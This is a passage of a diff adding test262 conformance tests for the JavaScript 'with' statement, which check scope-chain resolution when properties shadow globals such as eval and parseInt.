+if(!(st_NaN === "obj_NaN")){
+ $ERROR('#12: myObj.NaN !== NaN');
+}
+
+if(!(st_Infinity !== Infinity)){
+ $ERROR('#13: myObj.Infinity !== Infinity');
+}
+
+if(!(st_eval !== eval)){
+ $ERROR('#14: myObj.eval !== eval');
+}
+
+if(!(st_parseFloat !== parseFloat)){
+ $ERROR('#15: myObj.parseFloat !== parseFloat');
+}
+
+if(!(st_isNaN !== isNaN)){
+ $ERROR('#16: myObj.isNaN !== isNaN');
+}
+
+if(!(st_isFinite !== isFinite)){
+ $ERROR('#17: myObj.isFinite !== isFinite');
+}
+
+try{
+ value;
+ $ERROR('#18: value is not defined');
+}
+catch(e){
+}
+
+if(!(myObj.value === "myObj_value")){
+ $ERROR('#19: myObj.value === "myObj_value". Actual: myObj.value ==='+ myObj.value );
+}
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A1.8_T3.js b/js/src/tests/test262/ch12/12.10/S12.10_A1.8_T3.js
new file mode 100644
index 000000000..39a648266
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A1.8_T3.js
@@ -0,0 +1,147 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The with statement adds a computed object to the front of the
+ * scope chain of the current execution context
+ *
+ * @path ch12/12.10/S12.10_A1.8_T3.js
+ * @description Declaring function constructor within "with" statement, leading to normal completion by "return"
+ * @noStrict
+ */
+
+this.p1 = 1;
+this.p2 = 2;
+this.p3 = 3;
+var result = "result";
+var myObj = {p1: 'a',
+ p2: 'b',
+ p3: 'c',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';},
+ parseInt : function(){return 'obj_parseInt';},
+ NaN : 'obj_NaN',
+ Infinity : 'obj_Infinity',
+ eval : function(){return 'obj_eval';},
+ parseFloat : function(){return 'obj_parseFloat';},
+ isNaN : function(){return 'obj_isNaN';},
+ isFinite : function(){return 'obj_isFinite';}
+}
+var del;
+var st_p1 = "p1";
+var st_p2 = "p2";
+var st_p3 = "p3";
+var st_parseInt = "parseInt";
+var st_NaN = "NaN";
+var st_Infinity = "Infinity";
+var st_eval = "eval";
+var st_parseFloat = "parseFloat";
+var st_isNaN = "isNaN";
+var st_isFinite = "isFinite";
+
+with(myObj){
+ var f = function(){
+ return value;
+ st_p1 = p1;
+ st_p2 = p2;
+ st_p3 = p3;
+ st_parseInt = parseInt;
+ st_NaN = NaN;
+ st_Infinity = Infinity;
+ st_eval = eval;
+ st_parseFloat = parseFloat;
+ st_isNaN = isNaN;
+ st_isFinite = isFinite;
+ p1 = 'x1';
+ this.p2 = 'x2';
+ del = delete p3;
+ var p4 = 'x4';
+ p5 = 'x5';
+ var value = 'value';
+ }
+ var obj = new f();
+}
+
+if(!(p1 === 1)){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+
+if(!(p2 === 2)){
+ $ERROR('#2: p2 === 2. Actual: p2 ==='+ p2 );
+}
+
+if(!(p3 === 3)){
+ $ERROR('#3: p3 === 3. Actual: p3 ==='+ p3 );
+}
+
+try {
+ p4;
+ $ERROR('#4: p4 is not defined');
+} catch(e) {
+}
+
+try {
+ p5;
+ $ERROR('#5: p5 is not defined');
+} catch(e) {
+}
+
+if(!(myObj.p1 === "a")){
+ $ERROR('#6: myObj.p1 === "a". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+
+if(!(myObj.p2 === "b")){
+ $ERROR('#7: myObj.p2 === "b". Actual: myObj.p2 ==='+ myObj.p2 );
+}
+
+if(!(myObj.p3 === "c")){
+ $ERROR('#8: myObj.p3 === "c". Actual: myObj.p3 ==='+ myObj.p3 );
+}
+
+if(!(myObj.p4 === undefined)){
+ $ERROR('#9: myObj.p4 === undefined. Actual: myObj.p4 ==='+ myObj.p4 );
+}
+
+if(!(myObj.p5 === undefined)){
+ $ERROR('#10: myObj.p5 === undefined. Actual: myObj.p5 ==='+ myObj.p5 );
+}
+
+if(!(st_parseInt === "parseInt")){
+ $ERROR('#11: myObj.parseInt === "parseInt". Actual: myObj.parseInt ==='+ myObj.parseInt );
+}
+
+if(!(st_NaN === "NaN")){
+ $ERROR('#12: st_NaN === "NaN". Actual: st_NaN ==='+ st_NaN );
+}
+
+if(!(st_Infinity === "Infinity")){
+ $ERROR('#13: st_Infinity === "Infinity". Actual: st_Infinity ==='+ st_Infinity );
+}
+
+if(!(st_eval === "eval")){
+ $ERROR('#14: st_eval === "eval". Actual: st_eval ==='+ st_eval );
+}
+
+if(!(st_parseFloat === "parseFloat")){
+ $ERROR('#15: st_parseFloat === "parseFloat". Actual: st_parseFloat ==='+ st_parseFloat );
+}
+
+if(!(st_isNaN === "isNaN")){
+ $ERROR('#16: st_isNaN === "isNaN". Actual: st_isNaN ==='+ st_isNaN );
+}
+
+if(!(st_isFinite === "isFinite")){
+ $ERROR('#17: st_isFinite === "isFinite". Actual: st_isFinite ==='+ st_isFinite );
+}
+
+try{
+ value;
+ $ERROR('#18: value is not defined');
+}
+catch(e){
+}
+
+if(!(myObj.value === "myObj_value")){
+ $ERROR('#19: myObj.value === "myObj_value". Actual: myObj.value ==='+ myObj.value );
+}
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A1.8_T4.js b/js/src/tests/test262/ch12/12.10/S12.10_A1.8_T4.js
new file mode 100644
index 000000000..f6eed2043
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A1.8_T4.js
@@ -0,0 +1,152 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The with statement adds a computed object to the front of the
+ * scope chain of the current execution context
+ *
+ * @path ch12/12.10/S12.10_A1.8_T4.js
+ * @description Declaring function constructor within "with" statement, leading to completion by exception
+ * @noStrict
+ */
+
+this.p1 = 1;
+this.p2 = 2;
+this.p3 = 3;
+var result = "result";
+var myObj = {p1: 'a',
+ p2: 'b',
+ p3: 'c',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';},
+ parseInt : function(){return 'obj_parseInt';},
+ NaN : 'obj_NaN',
+ Infinity : 'obj_Infinity',
+ eval : function(){return 'obj_eval';},
+ parseFloat : function(){return 'obj_parseFloat';},
+ isNaN : function(){return 'obj_isNaN';},
+ isFinite : function(){return 'obj_isFinite';}
+}
+var del;
+var st_p1 = "p1";
+var st_p2 = "p2";
+var st_p3 = "p3";
+var st_parseInt = "parseInt";
+var st_NaN = "NaN";
+var st_Infinity = "Infinity";
+var st_eval = "eval";
+var st_parseFloat = "parseFloat";
+var st_isNaN = "isNaN";
+var st_isFinite = "isFinite";
+
+try {
+ with(myObj){
+ var f = function(){
+ st_p1 = p1;
+ st_p2 = p2;
+ st_p3 = p3;
+ st_parseInt = parseInt;
+ st_NaN = NaN;
+ st_Infinity = Infinity;
+ st_eval = eval;
+ st_parseFloat = parseFloat;
+ st_isNaN = isNaN;
+ st_isFinite = isFinite;
+ p1 = 'x1';
+ this.p2 = 'x2';
+ del = delete p3;
+ var p4 = 'x4';
+ p5 = 'x5';
+ var value = 'value';
+ throw value;
+ }
+ var obj = new f();
+ }
+} catch(e){
+ result = e;
+}
+
+if(!(result === "value")){
+ $ERROR('#0: result === "value". Actual: result ==='+ result );
+}
+
+if(!(p1 === 1)){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+
+if(!(p2 === 2)){
+ $ERROR('#2: p2 === 2. Actual: p2 ==='+ p2 );
+}
+
+if(!(p3 === 3)){
+ $ERROR('#3: p3 === 3. Actual: p3 ==='+ p3 );
+}
+try {
+ p4;
+ $ERROR('#4: p4 is not defined');
+} catch(e) {
+}
+
+if(!(p5 === "x5")){
+ $ERROR('#5: p5 === "x5". Actual: p5 ==='+ p5 );
+}
+
+if(!(myObj.p1 === "x1")){
+ $ERROR('#6: myObj.p1 === "x1". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+
+if(!(myObj.p2 === "b")){
+ $ERROR('#7: myObj.p2 === "b". Actual: myObj.p2 ==='+ myObj.p2 );
+}
+
+if(!(myObj.p3 === undefined)){
+ $ERROR('#8: myObj.p3 === undefined. Actual: myObj.p3 ==='+ myObj.p3 );
+}
+
+if(!(myObj.p4 === undefined)){
+ $ERROR('#9: myObj.p4 === undefined. Actual: myObj.p4 ==='+ myObj.p4 );
+}
+
+if(!(myObj.p5 === undefined)){
+ $ERROR('#10: myObj.p5 === undefined. Actual: myObj.p5 ==='+ myObj.p5 );
+}
+
+if(!(st_parseInt !== parseInt)){
+ $ERROR('#11: myObj.parseInt !== parseInt');
+}
+
+if(!(st_NaN === "obj_NaN")){
+ $ERROR('#12: myObj.NaN !== NaN');
+}
+
+if(!(st_Infinity !== Infinity)){
+ $ERROR('#13: myObj.Infinity !== Infinity');
+}
+
+if(!(st_eval !== eval)){
+ $ERROR('#14: myObj.eval !== eval');
+}
+
+if(!(st_parseFloat !== parseFloat)){
+ $ERROR('#15: myObj.parseFloat !== parseFloat');
+}
+
+if(!(st_isNaN !== isNaN)){
+ $ERROR('#16: myObj.isNaN !== isNaN');
+}
+
+if(!(st_isFinite !== isFinite)){
+ $ERROR('#17: myObj.isFinite !== isFinite');
+}
+
+try{
+ value;
+ $ERROR('#18: value is not defined');
+}
+catch(e){
+}
+
+if(!(myObj.value === "myObj_value")){
+ $ERROR('#19: myObj.value === "myObj_value". Actual: myObj.value ==='+ myObj.value );
+}
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A1.8_T5.js b/js/src/tests/test262/ch12/12.10/S12.10_A1.8_T5.js
new file mode 100644
index 000000000..c2425b1f1
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A1.8_T5.js
@@ -0,0 +1,155 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The with statement adds a computed object to the front of the
+ * scope chain of the current execution context
+ *
+ * @path ch12/12.10/S12.10_A1.8_T5.js
+ * @description Declaring function constructor within "with" statement, leading to completion by exception
+ * @noStrict
+ */
+
+this.p1 = 1;
+this.p2 = 2;
+this.p3 = 3;
+var result = "result";
+var myObj = {p1: 'a',
+ p2: 'b',
+ p3: 'c',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';},
+ parseInt : function(){return 'obj_parseInt';},
+ NaN : 'obj_NaN',
+ Infinity : 'obj_Infinity',
+ eval : function(){return 'obj_eval';},
+ parseFloat : function(){return 'obj_parseFloat';},
+ isNaN : function(){return 'obj_isNaN';},
+ isFinite : function(){return 'obj_isFinite';}
+}
+var del;
+var st_p1 = "p1";
+var st_p2 = "p2";
+var st_p3 = "p3";
+var st_parseInt = "parseInt";
+var st_NaN = "NaN";
+var st_Infinity = "Infinity";
+var st_eval = "eval";
+var st_parseFloat = "parseFloat";
+var st_isNaN = "isNaN";
+var st_isFinite = "isFinite";
+
+try {
+ with(myObj){
+ var f = function(){
+ throw value;
+ st_p1 = p1;
+ st_p2 = p2;
+ st_p3 = p3;
+ st_parseInt = parseInt;
+ st_NaN = NaN;
+ st_Infinity = Infinity;
+ st_eval = eval;
+ st_parseFloat = parseFloat;
+ st_isNaN = isNaN;
+ st_isFinite = isFinite;
+ p1 = 'x1';
+ this.p2 = 'x2';
+ del = delete p3;
+ var p4 = 'x4';
+ p5 = 'x5';
+ var value = 'value';
+ }
+ var obj = new f();
+ }
+} catch(e){
+ result = e;
+}
+
+if(!(result === undefined)){
+ $ERROR('#0: result === undefined. Actual: result ==='+ result );
+}
+
+if(!(p1 === 1)){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+
+if(!(p2 === 2)){
+ $ERROR('#2: p2 === 2. Actual: p2 ==='+ p2 );
+}
+
+if(!(p3 === 3)){
+ $ERROR('#3: p3 === 3. Actual: p3 ==='+ p3 );
+}
+
+try {
+ p4;
+ $ERROR('#4: p4 is not defined');
+} catch(e) {
+}
+
+try {
+ p5;
+ $ERROR('#5: p5 is not defined');
+} catch(e) {
+}
+
+if(!(myObj.p1 === "a")){
+ $ERROR('#6: myObj.p1 === "a". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+
+if(!(myObj.p2 === "b")){
+ $ERROR('#7: myObj.p2 === "b". Actual: myObj.p2 ==='+ myObj.p2 );
+}
+
+if(!(myObj.p3 === "c")){
+ $ERROR('#8: myObj.p3 === "c". Actual: myObj.p3 ==='+ myObj.p3 );
+}
+
+if(!(myObj.p4 === undefined)){
+ $ERROR('#9: myObj.p4 === undefined. Actual: myObj.p4 ==='+ myObj.p4 );
+}
+
+if(!(myObj.p5 === undefined)){
+ $ERROR('#10: myObj.p5 === undefined. Actual: myObj.p5 ==='+ myObj.p5 );
+}
+
+if(!(st_parseInt === "parseInt")){
+ $ERROR('#11: myObj.parseInt === "parseInt". Actual: myObj.parseInt ==='+ myObj.parseInt );
+}
+
+if(!(st_NaN === "NaN")){
+ $ERROR('#12: st_NaN === "NaN". Actual: st_NaN ==='+ st_NaN );
+}
+
+if(!(st_Infinity === "Infinity")){
+ $ERROR('#13: st_Infinity === "Infinity". Actual: st_Infinity ==='+ st_Infinity );
+}
+
+if(!(st_eval === "eval")){
+ $ERROR('#14: st_eval === "eval". Actual: st_eval ==='+ st_eval );
+}
+
+if(!(st_parseFloat === "parseFloat")){
+ $ERROR('#15: st_parseFloat === "parseFloat". Actual: st_parseFloat ==='+ st_parseFloat );
+}
+
+if(!(st_isNaN === "isNaN")){
+ $ERROR('#16: st_isNaN === "isNaN". Actual: st_isNaN ==='+ st_isNaN );
+}
+
+if(!(st_isFinite === "isFinite")){
+ $ERROR('#17: st_isFinite === "isFinite". Actual: st_isFinite ==='+ st_isFinite );
+}
+
+try{
+ value;
+ $ERROR('#18: value is not defined');
+}
+catch(e){
+}
+
+if(!(myObj.value === "myObj_value")){
+ $ERROR('#19: myObj.value === "myObj_value". Actual: myObj.value ==='+ myObj.value );
+}
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A1.9_T1.js b/js/src/tests/test262/ch12/12.10/S12.10_A1.9_T1.js
new file mode 100644
index 000000000..629b517b4
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A1.9_T1.js
@@ -0,0 +1,144 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The with statement adds a computed object to the front of the
+ * scope chain of the current execution context
+ *
+ * @path ch12/12.10/S12.10_A1.9_T1.js
+ * @description Using "for-in" statement within "with" statement, leading to normal completion
+ * @noStrict
+ */
+
+this.p1 = 1;
+this.p2 = 2;
+this.p3 = 3;
+var result = "result";
+var myObj = {p1: 'a',
+ p2: 'b',
+ p3: 'c',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';},
+ parseInt : function(){return 'obj_parseInt';},
+ NaN : 'obj_NaN',
+ Infinity : 'obj_Infinity',
+ eval : function(){return 'obj_eval';},
+ parseFloat : function(){return 'obj_parseFloat';},
+ isNaN : function(){return 'obj_isNaN';},
+ isFinite : function(){return 'obj_isFinite';}
+}
+var del;
+var st_p1 = "p1";
+var st_p2 = "p2";
+var st_p3 = "p3";
+var st_parseInt = "parseInt";
+var st_NaN = "NaN";
+var st_Infinity = "Infinity";
+var st_eval = "eval";
+var st_parseFloat = "parseFloat";
+var st_isNaN = "isNaN";
+var st_isFinite = "isFinite";
+
+with(myObj){
+ for(var prop in myObj){
+ if(prop === 'p1') {
+ st_p1 = p1;
+ p1 = 'x1';
+ }
+ if(prop === 'p2') {
+ st_p2 = p2;
+ this.p2 = 'x2';
+ }
+ if(prop === 'p3') {
+ st_p3 = p3;
+ del = delete p3;
+ }
+ if(prop === 'parseInt') st_parseInt = parseInt;
+ if(prop === 'NaN') st_NaN = NaN;
+ if(prop === 'Infinity') st_Infinity = Infinity;
+ if(prop === 'eval') st_eval = eval;
+ if(prop === 'parseFloat') st_parseFloat = parseFloat;
+ if(prop === 'isNaN') st_isNaN = isNaN;
+ if(prop === 'isFinite') st_isFinite = isFinite;
+ var p4 = 'x4';
+ p5 = 'x5';
+ var value = 'value';
+ }
+}
+
+if(!(p1 === 1)){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+
+if(!(p2 === "x2")){
+ $ERROR('#2: p2 === "x2". Actual: p2 ==='+ p2 );
+}
+
+if(!(p3 === 3)){
+ $ERROR('#3: p3 === 3. Actual: p3 ==='+ p3 );
+}
+
+if(!(p4 === "x4")){
+ $ERROR('#4: p4 === "x4". Actual: p4 ==='+ p4 );
+}
+
+if(!(p5 === "x5")){
+ $ERROR('#5: p5 === "x5". Actual: p5 ==='+ p5 );
+}
+
+if(!(myObj.p1 === "x1")){
+ $ERROR('#6: myObj.p1 === "x1". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+
+if(!(myObj.p2 === "b")){
+ $ERROR('#7: myObj.p2 === "b". Actual: myObj.p2 ==='+ myObj.p2 );
+}
+
+if(!(myObj.p3 === undefined)){
+ $ERROR('#8: myObj.p3 === undefined. Actual: myObj.p3 ==='+ myObj.p3 );
+}
+
+if(!(myObj.p4 === undefined)){
+ $ERROR('#9: myObj.p4 === undefined. Actual: myObj.p4 ==='+ myObj.p4 );
+}
+
+if(!(myObj.p5 === undefined)){
+ $ERROR('#10: myObj.p5 === undefined. Actual: myObj.p5 ==='+ myObj.p5 );
+}
+
+if(!(st_parseInt !== parseInt)){
+ $ERROR('#11: myObj.parseInt !== parseInt');
+}
+
+if(!(st_NaN === "obj_NaN")){
+ $ERROR('#12: myObj.NaN !== NaN');
+}
+
+if(!(st_Infinity !== Infinity)){
+ $ERROR('#13: myObj.Infinity !== Infinity');
+}
+
+if(!(st_eval !== eval)){
+ $ERROR('#14: myObj.eval !== eval');
+}
+
+if(!(st_parseFloat !== parseFloat)){
+ $ERROR('#15: myObj.parseFloat !== parseFloat');
+}
+
+if(!(st_isNaN !== isNaN)){
+ $ERROR('#16: myObj.isNaN !== isNaN');
+}
+
+if(!(st_isFinite !== isFinite)){
+ $ERROR('#17: myObj.isFinite !== isFinite');
+}
+
+if(!(value === undefined)){
+ $ERROR('#18: value === undefined. Actual: value ==='+ value );
+}
+
+if(!(myObj.value === "value")){
+ $ERROR('#19: myObj.value === "value". Actual: myObj.value ==='+ myObj.value );
+}
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A1.9_T2.js b/js/src/tests/test262/ch12/12.10/S12.10_A1.9_T2.js
new file mode 100644
index 000000000..8e82e60eb
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A1.9_T2.js
@@ -0,0 +1,139 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The with statement adds a computed object to the front of the
+ * scope chain of the current execution context
+ *
+ * @path ch12/12.10/S12.10_A1.9_T2.js
+ * @description Using "for-in" statement within "with" statement, leading to completion by break
+ * @noStrict
+ */
+
+this.p1 = 1;
+this.p2 = 2;
+this.p3 = 3;
+var result = "result";
+var myObj = {p1: 'a',
+ p2: 'b',
+ p3: 'c',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';},
+ parseInt : function(){return 'obj_parseInt';},
+ NaN : 'obj_NaN',
+ Infinity : 'obj_Infinity',
+ eval : function(){return 'obj_eval';},
+ parseFloat : function(){return 'obj_parseFloat';},
+ isNaN : function(){return 'obj_isNaN';},
+ isFinite : function(){return 'obj_isFinite';}
+}
+var del;
+var st_p1 = "p1";
+var st_p2 = "p2";
+var st_p3 = "p3";
+var st_parseInt = "parseInt";
+var st_NaN = "NaN";
+var st_Infinity = "Infinity";
+var st_eval = "eval";
+var st_parseFloat = "parseFloat";
+var st_isNaN = "isNaN";
+var st_isFinite = "isFinite";
+
+with(myObj){
+ for(var prop in myObj){
+ st_p1 = p1;
+ p1 = 'x1';
+ st_p2 = p2;
+ this.p2 = 'x2';
+ st_p3 = p3;
+ del = delete p3;
+ st_parseInt = parseInt;
+ st_NaN = NaN;
+ st_Infinity = Infinity;
+ st_eval = eval;
+ st_parseFloat = parseFloat;
+ st_isNaN = isNaN;
+ st_isFinite = isFinite;
+ var p4 = 'x4';
+ p5 = 'x5';
+ var value = 'value';
+ break;
+ }
+}
+
+if(!(p1 === 1)){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+
+if(!(p2 === "x2")){
+ $ERROR('#2: p2 === "x2". Actual: p2 ==='+ p2 );
+}
+
+if(!(p3 === 3)){
+ $ERROR('#3: p3 === 3. Actual: p3 ==='+ p3 );
+}
+
+if(!(p4 === "x4")){
+ $ERROR('#4: p4 === "x4". Actual: p4 ==='+ p4 );
+}
+
+if(!(p5 === "x5")){
+ $ERROR('#5: p5 === "x5". Actual: p5 ==='+ p5 );
+}
+
+if(!(myObj.p1 === "x1")){
+ $ERROR('#6: myObj.p1 === "x1". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+
+if(!(myObj.p2 === "b")){
+ $ERROR('#7: myObj.p2 === "b". Actual: myObj.p2 ==='+ myObj.p2 );
+}
+
+if(!(myObj.p3 === undefined)){
+ $ERROR('#8: myObj.p3 === undefined. Actual: myObj.p3 ==='+ myObj.p3 );
+}
+
+if(!(myObj.p4 === undefined)){
+ $ERROR('#9: myObj.p4 === undefined. Actual: myObj.p4 ==='+ myObj.p4 );
+}
+
+if(!(myObj.p5 === undefined)){
+ $ERROR('#10: myObj.p5 === undefined. Actual: myObj.p5 ==='+ myObj.p5 );
+}
+
+if(!(st_parseInt !== parseInt)){
+ $ERROR('#11: myObj.parseInt !== parseInt');
+}
+
+if(!(st_NaN === "obj_NaN")){
+ $ERROR('#12: myObj.NaN !== NaN');
+}
+
+if(!(st_Infinity !== Infinity)){
+ $ERROR('#13: myObj.Infinity !== Infinity');
+}
+
+if(!(st_eval !== eval)){
+ $ERROR('#14: myObj.eval !== eval');
+}
+
+if(!(st_parseFloat !== parseFloat)){
+ $ERROR('#15: myObj.parseFloat !== parseFloat');
+}
+
+if(!(st_isNaN !== isNaN)){
+ $ERROR('#16: myObj.isNaN !== isNaN');
+}
+
+if(!(st_isFinite !== isFinite)){
+ $ERROR('#17: myObj.isFinite !== isFinite');
+}
+
+if(!(value === undefined)){
+ $ERROR('#18: value === undefined. Actual: value ==='+ value );
+}
+
+if(!(myObj.value === "value")){
+ $ERROR('#19: myObj.value === "value". Actual: myObj.value ==='+ myObj.value );
+}
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A1.9_T3.js b/js/src/tests/test262/ch12/12.10/S12.10_A1.9_T3.js
new file mode 100644
index 000000000..52ba815fc
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A1.9_T3.js
@@ -0,0 +1,147 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The with statement adds a computed object to the front of the
+ * scope chain of the current execution context
+ *
+ * @path ch12/12.10/S12.10_A1.9_T3.js
+ * @description Using "for-in" statement within "with" statement, leading to completion by break
+ * @noStrict
+ */
+
+this.p1 = 1;
+this.p2 = 2;
+this.p3 = 3;
+var result = "result";
+var myObj = {p1: 'a',
+ p2: 'b',
+ p3: 'c',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';},
+ parseInt : function(){return 'obj_parseInt';},
+ NaN : 'obj_NaN',
+ Infinity : 'obj_Infinity',
+ eval : function(){return 'obj_eval';},
+ parseFloat : function(){return 'obj_parseFloat';},
+ isNaN : function(){return 'obj_isNaN';},
+ isFinite : function(){return 'obj_isFinite';}
+}
+var del;
+var st_p1 = "p1";
+var st_p2 = "p2";
+var st_p3 = "p3";
+var st_parseInt = "parseInt";
+var st_NaN = "NaN";
+var st_Infinity = "Infinity";
+var st_eval = "eval";
+var st_parseFloat = "parseFloat";
+var st_isNaN = "isNaN";
+var st_isFinite = "isFinite";
+
+with(myObj){
+ for(var prop in myObj){
+ break;
+ if(prop === 'p1') {
+ st_p1 = p1;
+ p1 = 'x1';
+ }
+ if(prop === 'p2') {
+ st_p2 = p2;
+ this.p2 = 'x2';
+ }
+ if(prop === 'p3') {
+ st_p3 = p3;
+ del = delete p3;
+ }
+ if(prop === 'parseInt') st_parseInt = parseInt;
+ if(prop === 'NaN') st_NaN = NaN;
+ if(prop === 'Infinity') st_Infinity = Infinity;
+ if(prop === 'eval') st_eval = eval;
+ if(prop === 'parseFloat') st_parseFloat = parseFloat;
+ if(prop === 'isNaN') st_isNaN = isNaN;
+ if(prop === 'isFinite') st_isFinite = isFinite;
+ var p4 = 'x4';
+ p5 = 'x5';
+ var value = 'value';
+ }
+}
+
+if(!(p1 === 1)){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+
+if(!(p2 === 2)){
+ $ERROR('#2: p2 === 2. Actual: p2 ==='+ p2 );
+}
+
+if(!(p3 === 3)){
+ $ERROR('#3: p3 === 3. Actual: p3 ==='+ p3 );
+}
+
+if(!(p4 === undefined)){
+ $ERROR('#4: p4 === undefined. Actual: p4 ==='+ p4 );
+}
+
+try {
+ p5;
+ $ERROR('#5: p5 is not defined');
+} catch(e) {
+}
+
+if(!(myObj.p1 === "a")){
+ $ERROR('#6: myObj.p1 === "a". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+
+if(!(myObj.p2 === "b")){
+ $ERROR('#7: myObj.p2 === "b". Actual: myObj.p2 ==='+ myObj.p2 );
+}
+
+if(!(myObj.p3 === "c")){
+ $ERROR('#8: myObj.p3 === "c". Actual: myObj.p3 ==='+ myObj.p3 );
+}
+
+if(!(myObj.p4 === undefined)){
+ $ERROR('#9: myObj.p4 === undefined. Actual: myObj.p4 ==='+ myObj.p4 );
+}
+
+if(!(myObj.p5 === undefined)){
+ $ERROR('#10: myObj.p5 === undefined. Actual: myObj.p5 ==='+ myObj.p5 );
+}
+
+if(!(st_parseInt === "parseInt")){
+ $ERROR('#11: myObj.parseInt === "parseInt". Actual: myObj.parseInt ==='+ myObj.parseInt );
+}
+
+if(!(st_NaN === "NaN")){
+ $ERROR('#12: st_NaN === "NaN". Actual: st_NaN ==='+ st_NaN );
+}
+
+if(!(st_Infinity === "Infinity")){
+ $ERROR('#13: st_Infinity === "Infinity". Actual: st_Infinity ==='+ st_Infinity );
+}
+
+if(!(st_eval === "eval")){
+ $ERROR('#14: st_eval === "eval". Actual: st_eval ==='+ st_eval );
+}
+
+if(!(st_parseFloat === "parseFloat")){
+ $ERROR('#15: st_parseFloat === "parseFloat". Actual: st_parseFloat ==='+ st_parseFloat );
+}
+
+if(!(st_isNaN === "isNaN")){
+ $ERROR('#16: st_isNaN === "isNaN". Actual: st_isNaN ==='+ st_isNaN );
+}
+
+if(!(st_isFinite === "isFinite")){
+ $ERROR('#17: st_isFinite === "isFinite". Actual: st_isFinite ==='+ st_isFinite );
+}
+
+if(!(value === undefined)){
+ $ERROR('#18: value === undefined. Actual: value ==='+ value );
+}
+
+if(!(myObj.value === "myObj_value")){
+ $ERROR('#19: myObj.value === "myObj_value". Actual: myObj.value ==='+ myObj.value );
+}
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A3.10_T1.js b/js/src/tests/test262/ch12/12.10/S12.10_A3.10_T1.js
new file mode 100644
index 000000000..17fd49b0a
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A3.10_T1.js
@@ -0,0 +1,47 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * No matter how control leaves the embedded 'Statement',
+ * the scope chain is always restored to its former state
+ *
+ * @path ch12/12.10/S12.10_A3.10_T1.js
+ * @description Using iteration statement within "with" statement, leading to normal completion
+ * @noStrict
+ */
+
+this.p1 = 1;
+
+var result = "result";
+
+var myObj = {
+ p1: 'a',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';}
+}
+
+with(myObj){
+ do{
+ p1 = 'x1';
+ } while(false);
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if(p1 !== 1){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if(myObj.p1 !== "x1"){
+ $ERROR('#2: myObj.p1 === "x1". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
+
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A3.10_T2.js b/js/src/tests/test262/ch12/12.10/S12.10_A3.10_T2.js
new file mode 100644
index 000000000..12c26bd86
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A3.10_T2.js
@@ -0,0 +1,57 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * No matter how control leaves the embedded 'Statement',
+ * the scope chain is always restored to its former state
+ *
+ * @path ch12/12.10/S12.10_A3.10_T2.js
+ * @description Using iteration statement within "with" statement, leading completion by exception
+ * @noStrict
+ */
+
+this.p1 = 1;
+
+var result = "result";
+
+var myObj = {
+ p1: 'a',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';}
+}
+
+try {
+ with(myObj){
+ do{
+ p1 = 'x1';
+ throw value;
+ } while(false);
+ }
+} catch(e){
+ result = p1;
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if(result !== 1){
+ $ERROR('#1: result === 1. Actual: result ==='+ result );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
